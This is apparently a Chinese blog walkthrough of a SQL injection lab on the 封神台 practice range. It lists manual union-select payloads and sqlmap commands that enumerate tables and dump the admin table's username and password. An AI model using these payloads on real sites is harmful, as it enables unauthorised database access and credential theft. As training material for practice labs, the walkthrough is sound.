靶場地址:封神台
方法一、首先嘗試手工找注入點判斷
第一步,判斷是否存在sql注入漏洞
構造 ?id=1 and 1=1 ,回車,頁面返回正常
構造 ?id=1 and 1=2 ,回車,頁面不正常,初步判斷這里 可能 存在一個注入漏洞
第二步:判斷字段數
構造 ?id=1 and 1=1 order by 1 回車,頁面正常
構造 ?id=1 and 1=1 order by 2 回車,頁面正常
構造 ?id=1 and 1=1 order by 3 回車,頁面返回 錯誤,判斷字段數為 2
第三步:判斷會顯點
構造 ?id=1 and 1=2 union select 1,2 回車,頁面出現了 2 ,說明我們可以在數字 2 處顯示我們想要的內容
第四步:查詢相關內容
查詢當前數據庫名
構造 ?id=1 and 1=2 union select 1,database() 回車
查詢當前數據庫版本
構造 ?id=1 and 1=2 union select 1,version() 回車
查詢當前數據庫 表名
構造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 回車
絕大數情況下,管理員的賬號密碼都在admin表里
查詢字段名
構造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1 回車
構造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1 回車
構造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1 回車
查出 admin 表里 有 id username password 三個字段
查詢字段內容
構造 ?id=1 and 1=2 union select 1,username from admin limit 0,1 回車
構造 ?id=1 and 1=2 union select 1,password from admin limit 1,1 回車
limit 1,1 沒有回顯,說明只有一個用戶
構造 ?id=1 and 1=2 union select 1,password from admin limit 0,1 回車
方法二、上sqlmap
(1) 猜解是否能注入
sqlmap.py -u “xxx:8003/index.php?id=1”
(2)猜解表
sqlmap.py -u “xxx:8003/index.php?id=1” --tables
根據猜解的表進行猜解表的字段
win: python sqlmap.py -u "xxx:8003/index.php?id=1" --columns -T admin
根據字段猜解內容
sqlmap.py -u “xxx.xxx.xxx.xxx:8003/index.php?id=1” -D maoshe -T admin -C password,username --dump #-D 接數據庫名字 -T接表名 -C接要查的字段名稱逗號隔開 --dump 生成dump文件
爆出需要的字段
方法三、穿山甲等其他工具
以下省略n個字段
聲明:博客內容僅供學習交流,用於違法目的請自行負責